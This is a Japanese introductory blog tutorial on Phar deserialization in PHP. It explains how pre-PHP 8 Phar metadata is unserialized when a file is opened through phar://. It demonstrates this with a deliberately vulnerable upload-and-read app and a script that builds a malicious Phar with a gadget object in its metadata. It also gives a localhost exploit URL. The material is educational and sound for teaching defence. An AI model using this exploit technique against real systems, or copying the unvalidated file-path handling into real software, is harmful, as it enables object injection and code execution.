PHPerが知っておきたいPhar Deserializationという脆弱性の話
以下の記事で「安全でないデシリアライゼーション」について紹介しました。
安全でないデシリアライゼーションも日本語の情報が少ないと感じますが、それの発展型であるPhar Deserializationは日本語の情報、特に入門的な内容のものが少ないです。
なかなか直感的な理解が難しいとは思いますが、最低限の理解を目指していきます。
記事の中でも触れましたが、PHPにはPharという複数のファイルをひとつにまとめるアーカイブの仕組みがあります。これを悪用することで意図しないオブジェクトを生成されてしまうという攻撃があります。(Phar Deserialization)。
WordPress5.7.2のセキュリティリリースやLaravelのデバッグモード有効時の脆弱性
は、このPhar Deserializationに関するものでした。
セキュリティ界隈では有名らしいですが、開発者の中では知ってる人も少ないのではないでしょうか。僕も上記のWordPress5.7.2のセキュリティリリースで初めて名前を聞きました。
ちなみに以下の動画を参考にしています^^。ちなみに読み方は「ファー」のようです。
Pharとは
概要
composer.pharには見覚えがあるかもしれません。
攻撃手段の前に、まずはPharについて知る必要があります。それではドキュメントを見ていきます。
phar 拡張モジュールは、PHP アプリケーション全体をひとつの "phar" (PHP Archive) ファイルにまとめてしまい、配布やインストールを容易にするためのものです。
Phar って何? Phar アーカイブは、複数のファイルをひとつにまとめるための便利な仕組みです。 Phar アーカイブを使用すれば、PHP のアプリケーションをひとつのファイルとして配布できるようになります。 また、それをディスク上に展開しなくてもそのまま実行できるのです。 さらに、他のファイルと同様に PHP から phar アーカイブを実行することができます。 コマンドラインとウェブサーバー経由のどちらでも実行可能です。
大雑把に言ってしまうと、複数のファイルをひとつにまとめられるものです。(こちらの記事も参考になります。)
PHPには、ファイルパスにアクセスするときにさまざまなプロトコルを処理するために使用できるURLスタイルのラッパーがいくつか用意されていますが、このうち1つがphar://
ラッパーです。
phar://
ラッパーはPHARファイルとのやりとりに使用され、Pharに対して読み取り・書き込み操作を実行できます(ローカルのファイルに限る)。
Pharの構成
Pharは3つもしくは4つの要素からなります。
Stub
単純なPHPファイルです。必要なコードを含めることができ、特に制限はないです。唯一の制約は、最後が__HALT_COMPILER();で終わることです。そのため必要最小限のスタブは、<?php __HALT_COMPILER();
になります。
Manifest
pharアーカイブ内に何が含まれているのかについての重要な情報が格納されています。特に注意するべきことは、メタデータを含んでいることでしょう。このメタデータはserialize() の形式で格納されます。
File Contents
アーカイブに含まれる実際のファイルであり、どのような種類でも問題ありません。
Signature
Pharアーカイブの最後の部分です。Pharの整合性を検証するためのものです
Phar Deserializationとは
上記で、PharのManifestの中にメタデータが含まれていて、serialize()の形式で格納されていると書きました。
ここのメタデータが問題です。
メタデータが展開される際に、デシリアライゼーションが行われます。PHP8未満で、Pharに対して参照などの操作が行われると、自動的にメタデータが展開されてしまうのです。これによって安全でないデシリアライゼーションが成立します。(Phar Deserialization)
PHP8.0においては、この攻撃の影響を鑑みてPharの仕様が変わり自動的にメタデータが展開されないようになりました。Phar::getMetadataを手動で明示的に呼び出さないと、メタデータを展開されないようになるようです。
Pharのメタデータの自動デシリアライゼーションについてのRFCはこちらです。
メタデータの展開のトリガーには、以下のようなPHP関数の使用が例に挙げられます。これらの関数からPharをphar://
経由で読み込ませます。
file_get_contents(), fopen(), file() , file_exists(), md5_file(), filemtime(), filesize()
以上のことから、攻撃には以下の3点が前提になります。
- 悪用できるクラスやガジェットチェーンの存在(安全でないデシリアライゼーションと同様)
- 悪意のあるPharを攻撃対象のサーバーに配置する。
- 配置したPharを
phar://
で読み込ませる。
実際に見る
今回使うソースコードはこのリポジトリに置いてあります。(スターくださると拝みます><)
状況
ファイルのアップロードフォームがあります。
<h1>upload file</h1>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="imageUploader" id="imageUploader">
<input type="submit" value="submit">
</form>
そして、実際にアップロードされたファイルを受け取り、アップロードされたファイルパスをログに書き込む機能があります。
<?php
include('Logger.php');
$fileName = $_FILES['imageUploader']['name'];
$fileTmp = $_FILES['imageUploader']['tmp_name'];
$uploadPath = 'uploads/' . basename($fileName);
//ログを書き込む
$logger = new Logger($uploadPath);
//ファイルを移動
move_uploaded_file($fileTmp, $uploadPath);
?>
<h1>uploaded!!!</h1>
<div><li><a href="/">go back</a></li></div>
上記で使われているLogger
クラスは、__destruct
をトリガーにして、オブジェクトの参照が終わるとともにログに書き込みをします。(悪用されるためクラスとして作成しています。)
<?php
class Logger
{
public $content;
public function __construct($content)
{
$this->content = $content;
}
// オブジェクトの参照が終わると共に、ログに書き込む
public function __destruct()
{
file_put_contents('Logs/sample.log', $this->content . "\n", FILE_APPEND);
}
}
最後にアップロードしたファイルを参照するコードです。また参照するファイルのパスのログを落とします。
<?php
include('Logger.php');
$filepath = $_GET['filepath'];
//ログを書き込む
$logger = new Logger('get|' .$filepath);
echo file_get_contents($filepath);
?>
<div><a href="/">go back</a></div>
デモ
さあここに攻撃を仕掛けていきます。攻撃の結果は、ログファイルにhacked!!!
という文字列を書き出すこととします。
悪意のあるPhar生成
まずは悪意のあるPharを生成していきます。
ログは、Loggerクラスの参照が終わったタイミングで$this->contents
の値を書き込むようになっています。そのためLoggerクラスに書き込みたい文字列を入れた上で、setMetadataでメタデータをセットします。
その他の設定は最小限かつ適当に設定してます。
<?php
//// 悪意のあるPharファイルを生成する
// 悪意のあるオブジェクト
class Logger
{
public function __construct()
{
$this->content = 'hacked!!!!!!';
}
}
// 引数はファイル名
$phar = new \Phar('Phar/exploit.phar');
// Pharの書き込み操作のバッファリングを開始
$phar->startBuffering();
// Pharアーカイブのスタブを設定する
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// オブジェクトを生成
$payload = new Logger();
// メタデータをセット。
$phar->setMetadata($payload);
// hogehogehogeという中身のhoge.txtというファイルをpharアーカイブに追加する
$phar->addFromString('hoge.txt', 'hogehogehoge');
// Pharの書き込み操作のバッファリングを終了
$phar->stopBuffering();
そしてphp Phar/generate.php
を実行するとexploit.phar
というファイルが生成されます。
また、Pharの生成をするためにはphp.iniのphar.readonlyをoffにする必要があります。dockerfile内で設定を済ませています。
FROM php:7.4-apache
RUN apt-get -y update && \
apt-get -y install vim
RUN echo "phar.readonly=off" >> /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini
攻撃
フォームからさきほど生成したPharをアップロードします。これによってPharをサーバー上に配置することができました。
そして以下のURLにアクセスします。するとログにhacked!!!!!!
という文字列が書き込まれていることが確認できます。
http://localhost:8000/file_get_contents.php?filepath=phar://uploads/exploit.phar/hoge.txt
以上になりますが、一連の作業は動画に残してます。
おわりに
セキュリティの基本ですが、外部からの入力値を信用しないことが大事なんだなと改めて思いました。
今回は入門的な話をしました。もっと知りたい方は以下の記事を読むと良いと思います。僕も勉強中です^^。
Discussion